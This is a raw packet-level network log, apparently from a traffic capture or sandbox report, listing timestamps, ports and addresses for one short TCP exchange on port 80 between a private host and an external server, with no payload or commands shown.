Jun 26, 2024 08:16:25.892396927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892411947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892427921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892427921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892435074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892443895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892452002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892452955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892469883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892488003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892493010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.892503977 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892529011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.892543077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.025129080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.031292915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204592943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204622984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204639912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204659939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.204698086 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.204698086 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.204746008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204761982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204777956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204793930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.204804897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.204804897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.204817057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.204838991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206114054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206130981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206146955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206161022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206167936 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206176043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206192017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206198931 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206207991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206248999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206257105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206257105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206265926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206283092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206298113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206310034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206310034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206311941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206329107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206331015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206345081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206361055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206362009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206362009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206383944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206396103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206396103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206399918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206415892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206432104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206433058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206446886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206455946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206455946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206463099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206480026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206495047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206496000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206511021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206527948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206535101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206535101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206542969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206568003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206583023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206582069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206582069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206598043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.206635952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.206635952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208152056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208168983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208184004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208199024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208213091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208220005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208220959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208256960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208272934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208287001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208287001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208287954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208302975 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208308935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208324909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208339930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208354950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208369017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208384037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208385944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208385944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208401918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208416939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208425045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208432913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208442926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208447933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208465099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208478928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208492994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208492994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208504915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208518982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208520889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208538055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208539009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208554983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208570004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208585024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208590984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208590984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208601952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.208611965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.208880901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284044981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284063101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284096956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284113884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284121037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284127951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284142971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284157991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284157991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284198046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284202099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284208059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284219027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284260988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284291983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284367085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284382105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284398079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284410000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284414053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284431934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284442902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284442902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284466028 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284501076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284720898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284737110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284754038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284775019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284780979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284781933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284801006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284811974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.284843922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.284964085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285125017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285140991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285177946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285183907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285183907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285193920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285211086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285228014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285233021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285233021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285268068 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285268068 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285429001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285451889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285470963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285490990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285490990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285518885 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285564899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285584927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285617113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285620928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285620928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285634041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285671949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285671949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285873890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285897017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285912037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285938025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285939932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285939932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285954952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285972118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285973072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285973072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.285995960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.285999060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286014080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286036015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286036015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286046982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286384106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286400080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286413908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286429882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286446095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286458015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286458015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286462069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286478043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286493063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286508083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286508083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286539078 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286788940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286804914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286820889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286835909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286839962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286851883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.286863089 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286863089 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286879063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.286900997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289242029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289323092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289324999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289343119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289372921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289381981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289397955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289412975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289421082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289421082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289431095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289450884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289450884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289473057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289509058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289534092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289561987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289572954 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289621115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289637089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289653063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289666891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289680004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289700031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289747000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289762020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289777994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289791107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289793968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289810896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.289822102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289822102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289855003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289855003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.289937019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290004015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290020943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290024996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290038109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290054083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290061951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290061951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290069103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290095091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290095091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290143013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290213108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290229082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290272951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290272951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290314913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290332079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290345907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290361881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290369034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290369034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290379047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290400982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290406942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290406942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290416956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290417910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290452957 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290477037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290646076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290659904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290674925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290690899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290693998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290730953 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290761948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290781975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290832043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290832043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290868998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290889025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290910006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.290937901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290937901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.290971994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291002035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291018009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291043043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291059971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291059971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291065931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291083097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291085005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291100025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291115999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291121006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291121006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291132927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291143894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291150093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291158915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291167021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291191101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291191101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291217089 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291544914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291560888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291575909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291589022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291589975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291604042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291606903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291624069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291630030 CEST	49713	80	192.168.2.6	85.28.47.4
